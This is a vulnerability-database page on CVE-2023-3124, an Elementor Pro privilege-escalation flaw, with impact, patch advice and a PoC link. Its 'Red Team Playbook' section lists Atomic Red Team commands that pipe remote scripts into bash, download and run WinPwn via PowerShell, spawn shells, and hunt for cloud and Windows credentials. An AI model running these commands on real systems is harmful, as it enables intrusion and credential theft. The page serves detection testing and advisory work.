CVE-2023-3124
Overview
This vulnerability is an authorization bypass due to a missing capability check within the Elementor Pro WordPress plugin. Specifically, the update_page_option function does not verify user permissions before allowing modification of site options. The affected component is the options update mechanism in Elementor Pro versions up to and including 3.11.6.
Vulnerability Description
The Elementor Pro plugin for WordPress is vulnerable to unauthorized data modification due to a missing capability check on the update_page_option function in versions up to, and including, 3.11.6. This makes it possible for authenticated attackers with subscriber-level capabilities to update arbitrary site options, which can lead to privilege escalation.
Impact
An attacker with only subscriber-level authentication can modify arbitrary site options, enabling privilege escalation to higher roles such as administrator. This unauthorized data modification can lead to full site compromise, including control over content and user management. The attack requires authenticated access (PR:L) but no user interaction (UI:N) and is exploitable remotely (AV:N), as reflected in the CVSS vector.
Solution
Users should upgrade Elementor Pro to version 3.11.7 or later, where the missing capability check has been implemented. Wordfence's advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/570474f2-c118-45e1-a237-c70b849b2d3c) and Nintechnet's blog provide detailed patch instructions. No known workarounds exist; timely application of the vendor patch is required to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Elementor Pro plugin for WordPress arises from a critical oversight in the update_page_option function, which lacks a proper capability check. This oversight allows authenticated users with minimal privileges, specifically those with subscriber-level capabilities, to modify arbitrary site options. The absence of a robust validation mechanism means that an attacker who has gained access to a low-level account can exploit this vulnerability to escalate their privileges, potentially gaining administrative control over the WordPress site. This flaw is particularly concerning as it undermines the fundamental principle of least privilege, allowing users to perform actions that should be restricted based on their role.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with a compromised subscriber account could leverage the lack of capability checks to manipulate site options, such as changing the site URL, modifying user roles, or altering plugin settings. Such modifications can lead to further exploitation, including the installation of malicious code, redirection of site traffic, or even complete takeover of the site. In scenarios where an attacker has access to multiple subscriber accounts, the potential for coordinated attacks increases, amplifying the risk to the affected WordPress installation.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on WordPress for their online presence. Unauthorized modifications can lead to data breaches, loss of customer trust, and reputational damage. For e-commerce sites, the implications are even more severe, as attackers could manipulate payment settings or redirect transactions, resulting in financial losses. Additionally, the ability to escalate privileges could allow attackers to access sensitive customer data, leading to compliance violations and potential legal ramifications. The high CVSS score of 8.8 underscores the urgency for organizations using Elementor Pro to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments can help identify instances of the affected plugin and ensure that it is updated to the latest version, where the flaw has been addressed. Additionally, employing a web application firewall (WAF) can provide an additional layer of protection by filtering out malicious requests that attempt to exploit this vulnerability. Organizations should also enforce strict user role management, ensuring that only trusted users are granted higher-level permissions. Educating users about the importance of strong passwords and the risks associated with low-level accounts can further reduce the likelihood of exploitation.
In conclusion, the vulnerability in the Elementor Pro plugin represents a serious threat to WordPress installations, particularly those with inadequate security measures. The potential for privilege escalation poses a significant risk to the integrity and security of affected sites. Organizations must prioritize the detection and remediation of this vulnerability to safeguard their digital assets and maintain the trust of their users. By adopting proactive security measures and fostering a culture of cybersecurity awareness, businesses can better protect themselves against the evolving landscape of cyber threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Elementor | Elementor Pro | All |
cpe:2.3:a:elementor:elementor_pro:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
AmirWhiteHat/CVE-2023-3124
CVE-2023-3124 PoC
|
AmirWhiteHat | 5 | 0 | 2023-09-05 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-3124 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/570474f2-c118-45e1-a237-c70b849b2d3c?source=cve |
| blog.nintechnet.com |
GitHub CVE
|
https://blog.nintechnet.com/high-severity-vulnerability-fixed-in-wordpress-elementor-pro-plugin/ |